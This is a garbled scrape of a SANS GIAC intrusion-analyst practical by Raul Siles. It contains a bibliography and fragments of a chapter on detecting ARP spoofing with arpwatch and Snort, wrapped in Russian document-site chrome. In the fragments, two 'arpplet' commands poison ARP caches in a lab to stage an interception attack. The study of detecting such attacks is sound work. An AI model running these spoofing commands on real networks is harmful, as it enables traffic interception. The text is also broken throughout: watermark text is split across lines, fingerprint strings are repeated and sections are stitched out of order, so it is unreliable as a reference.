the top alerts and all its details. The top talkers lists were extracted from the beginning in order to complement the analysis. The link graph was generated when it was determined that more information was needed to understand all the activitiesF8B5 06E4 A169 4E46 top Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D develop by one of the external individual hosts. Google [GOOG1] was the main search engine used to obtain the correlation data. Once all the alerts were described, some special cases were investigated, as the IRC trafc or the hints for compromised systems. Then the scans statistics were studied and correlated, to nalize checking the OOS data. During the process, the systems queried for their registration information were selected with the idea of understanding the reason why these external hosts were involved in the alerts.
In
sti
tu
te
20
04
,A
112
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
BIBLIOGRAPHY
Bibliography
[ACID1] ACID, Analysis Control for Intrusion Databases. http://www.andrew. cmu.edu/~rdanyliw/snort/snortacid.html (9 Nov. 2003) [APNI1] APNIC: Asian registry. http://www.apnic.net (1 Dec. 2003) [ARAC1] arachNIDS database. Whitehats. http://www.whitehats.com/IDS/28 (1 Oct. 2003) [ARIN1] ARIN Whois database. American Registry for Internet Numbers. http: //ws.arin.net/cgi-bin/whois.pl (October 10, 2003) [BEAR1] GCIA Practical. Tod Beardsley. http://www.giac.org/practical/Tod_ Beardsley_GCIA.doc, http://www.sans.org/rr/papers/index.php?id=826 (1 Sep. 2003) [BARR1] A practical approach for defeating nmap OS-Fingerprinting. David Barroso. http://voodoo.somoslopeor.com, http://www.giac.org/practical/ GSEC/David_Barroso_GSEC.pdf (19 Nov. 2003)
[HPIN1] Hping. Salvatore Sanlippo. http://www.hping.org (1 Aug. 2003) [IANA1] Port numbers. IANA. port-numbers (12 Dic. 2003) http://www.iana.org/assignments/
[ICMP1] Advanced Basic ICMP Rule Base for Snort. December 20, 2000. http: //www.sys-security.com/archive/snort/icmp_rules/ICMP_basic_plus (3 Dic. 2003) 113
[HEE1] GCIA Practical. Hee So. http://www.giac.org/practical/Hee_So_ GCIA.doc (1 Dec. 2003)
SA
[GOOG1] Google. http://www.google.com (17 Dec. 2003)
NS
[ETHE1] Ethereal. http://www.ethereal.com (17 Nov. 2003)
In
[DON1] GCIA Practical. Don Murdoch. http://www.giac.org/practical/GCIA/ Don_Murdoch_GCIA.pdf (1 Dec. 2003)
sti
tu
[DCE1] DCE 1.1 RPC Specication. CAE Specication. DCE 1.1: Remote Procedure Call. Document Number: C706. http://www.rdg.opengroup.org/ onlinepubs/9629399/toc.htm (3 Dec. 2003)
te
20
[BUGT1] Bugtraq. http://www.securityfocus.com/bid/ (3 Nov. 2003) Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 [CVE1] CVE. http://www.cve.mitre.org/cve/ (3 Nov. 2003)
04
,A
[BRAN1] GCIA Practical. Brandon Newport. http://www.giac.org/practical/ Brandon_Newport_GCIA.zip (1 Dec. 2003)
ut
ho
[BO1] Back Orice. Cult of the Dead Cow. http://www.cultdeadcow.com/ tools/bo.html (19 Dec. 2003)
rr
eta
ins
fu ll r igh ts.
BIBLIOGRAPHY
Raul Siles - GCIA
[IEEE1] IEEE OUI and Company id Assignments. Institute of Electrical and Electronics Engineers, Inc. http://standards.ieee.org/regauth/oui/index. shtml (October 2, 2003) [ISS1] TCP null scan - ISS Intrusions Database. Internet Security Systems. http://www.iss.net/security_center/advice/Intrusions/2000309/ default.htm (10 Nov. 2003) [IPCK1] IPCheck. Tom Grandgent. March, 2000. http://www.grandgent.com/ tom/programming.htm (10 Dec. 2003) [JASO1] GCIA Practical. Jason Lam. http://www.giac.org/practical/Jason_ Lam_GCIA.doc (1 Dec. 2003)
[NMAP1] Nmap. Fyodor. http://www.insecure.org/nmap/ (1 Jul. 2003)
[SFAQ1] The Snort FAQ. http://www.snort.org/docs/FAQ.txt (3 Dic. 2003)
[RFC1057] RPC: Remote Procedure Call Protocol Specication. Version 2. June 1988. ftp://ftp.rfc-editor.org/in-notes/rfc1057.txt (3 Dec. 2003) [RFC1122] RFC1122: Requirements for Internet Hosts Communication Layers. R. Braden, Editor. October 1989. IETF. ftp://ftp.rfc-editor.org/ in-notes/rfc1122.txt (1 Sep. 2003) [RFC1323] RFC1323: TCP Extensions for High Performance. V. Jacobson, R. Braden, D. Borman. May 1992. ftp://ftp.rfc-editor.org/in-notes/ rfc1323.txt (1 Sep. 2003)
SA
NS
[RFC793] RFC793: TCP - Transmission Control Protocol. September 1981. DARPA. ftp://ftp.rfc-editor.org/in-notes/rfc793.txt (1 Sep. 2003)
In
[STEV1] TCP/IP Illustrated, Volume 1. The Protocols. Stevens, W. Richard. Addison Wesley Longman, Inc, 1994. ISBN: 0201633469.
sti
tu
te
[OFIR1] ICMP Usage In Scanning. Version 3.0. July 2001. Or Arkin. http:// www.sys-security.com/html/projects/icmp.html (3 Dic. 2003) Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 [PASS1] Lists of ngerprints for passive ngerprint monitoring. Updated 23 May, 2000. Lance Spitzner. http://project.honeynet.org/papers/finger/ traces.txt (1 Nov. 2003)
20
04
,A
114
ut
[NMAP2] Remote OS detection via TCP/IP Stack FingerPrinting. Fyodor. June 11, 2002. http://www.insecure.org/nmap/nmap-fingerprinting-article. html (10 Nov. 2003)
ho
rr
eta
[NETC1] Netcat. http://www.atstake.com/research/tools/network_ utilities/ (17 Nov. 2003)
ins
[LES1] GCIA Practical. Les M Gordon. http://www.giac.org/practical/GCIA/ Les_Gordon_GCIA.doc (1 Dec. 2003)
fu ll r igh ts.
Raul Siles - GCIA
BIBLIOGRAPHY
[RFC1831] RPC: Remote Procedure Call Protocol Specication Version 2. August 1995. ftp://ftp.rfc-editor.org/in-notes/rfc1831.txt (3 Dec. 2003) [RFC1918] Address Allocation for Private Internets. February 1996. ftp://ftp. rfc-editor.org/in-notes/rfc1918.txt (1 Oct. 2003) [RFC3195] RFC3195: Reliable Delivery for syslog. D.New, M. Rose. November 2001. ftp://ftp.rfc-editor.org/in-notes/rfc3195.txt (1 Sep. 2003) [RIPE1] RIPE: European registry. http://www.ripe.net (1 Dec. 2003) [RNA1] Sourcere RNA technology - Real-Time Network Awareness. Sourcere. http://www.sourcefire.com/products/rna.html, http://www.sans. org/webcasts/show.php?webcastid=90419 (14 Nov. 2003) [ROBE1] Saving Our Bacon: Snort Security Holes and Strategies for Safe Network Monitoring. Robert G. Byrnes, coauthor of Linux Security Cookbook. 6 Feb. 2003. http://linux.oreillynet.com/pub/a/linux/2003/06/ 02/snort.html (6 Nov. 2003) [RULE1] Snort conguration & signatures. (Tue Dec 9 23:15:15 2003 GMT). http://www.snort.org/dl/rules/snortrules-stable.tar.gz (10 Dec. 2003) [SNOR1] Snort. http://www.snort.org (17 May 2003) [SNOR2] Snort Documentation. http://www.snort.org/docs/ Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 SnortUsersManual-2.0.1.pdf (10 Nov. 2003)
[TCPD1] Tcpdump. http://www.tcpdump.org (17 Sep. 2003)
[TREA1] Treachery Port Lookup Utility. http://www.treachery.net/security_ tools/ports/ (16 Dec. 2003) [WESE1] GCIA Practical. Daniel Wesemann. http://www.giac.org/ practical/GCIA/Daniel_Wesemann_GCIA.pdf (12 Dec. 2003)
SA
NS
[TOP20] The Twenty Most Critical Internet Security Vulnerabilities. SANS. http: //www.sans.org/top20/ (1 Nov. 2003)
In
sti
[STIC1] Stick. 8th Port. http://www.eurocompton.net/stick/projects8.html (6 Nov. 2003)
tu
te
[SNOT1] Snot. Sniphs cavern o c0de. http://www.stolenshoes.net/sniph/ index.html (6 Nov. 2003)
20
04
,A
ut
ho
115
rr
eta
ins
fu ll r igh ts.

Whitepaper

Загружено:

Сведения о документе

Исходное описание:

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

Whitepaper

Загружено:

Авторское право:

Доступные форматы

Raul Siles Pelaez

GIAC Certied Intrusion Analyst (GCIA)

SANS Institute 2004,

As part of GIAC practical repository.

December 24, 2003

Author retains full rights.

Raul Siles - GCIA

Vicente Navarro Jorge Ortiz 3 David Perez

Thanks both, David and Jorge for your review.

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

Chapter 1 Real World ARP Spoong detection

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

1.1. ATTACK DESCRIPTION

Raul Siles - GCIA

Figure 1.1: ARP spoong network diagram

SANS Institute 2004,

As part of GIAC practical repository.

Raul Siles - GCIA

1.2. SITUATION WITHOUT IDS SENSORS

0e0e.0e00.0002 0e0e.0e00.0099 0e0e.0e00.0003

Dynamic Dynamic Dynamic

FastEthernet0/16 <-- System A FastEthernet0/10 <-- Attacker FastEthernet0/14 <-- System B

Situation without IDS sensors

# ./arpplet 0E:0E:0E:00:00:99 192.168.1.2 0E:0E:0E:00:00:03 192.168.1.3

# ./arpplet 0E:0E:0E:00:00:99 192.168.1.3 0E:0E:0E:00:00:02 192.168.1.2

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

Raul Siles - GCIA

IDS signatures and detects

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

Raul Siles - GCIA

1.3. IDS SIGNATURES AND DETECTS

Oct 20 13:24:18 systemA arpwatch: flip flop 192.168.1.3 0e:0e:0e:0:0:3 (0e:0e:0e:0:0:99)

SANS Institute 2004,

As part of GIAC practical repository.

Figure 1.3: arpwatch mail for a ip-op

Figure 1.2: arpwatch mail for a change

F8B5 06E4 A169 4E46

1.3. IDS SIGNATURES AND DETECTS

Raul Siles - GCIA

preprocessor arpspoof_detect_host: 192.168.1.1 0E:0E:0E:00:00:01

SANS Institute 2004,

As part of GIAC practical repository.

Raul Siles - GCIA

1.3. IDS SIGNATURES AND DETECTS

# snort -c /opt/snort-2.0.2/etc/snort.conf -l ./log

SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.

1.4. SNORT ARP HISTORY

[] [112:1:1] (spp_arpspoof) Unicast ARP request [] 09/17-11:04:46.819208

[] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection []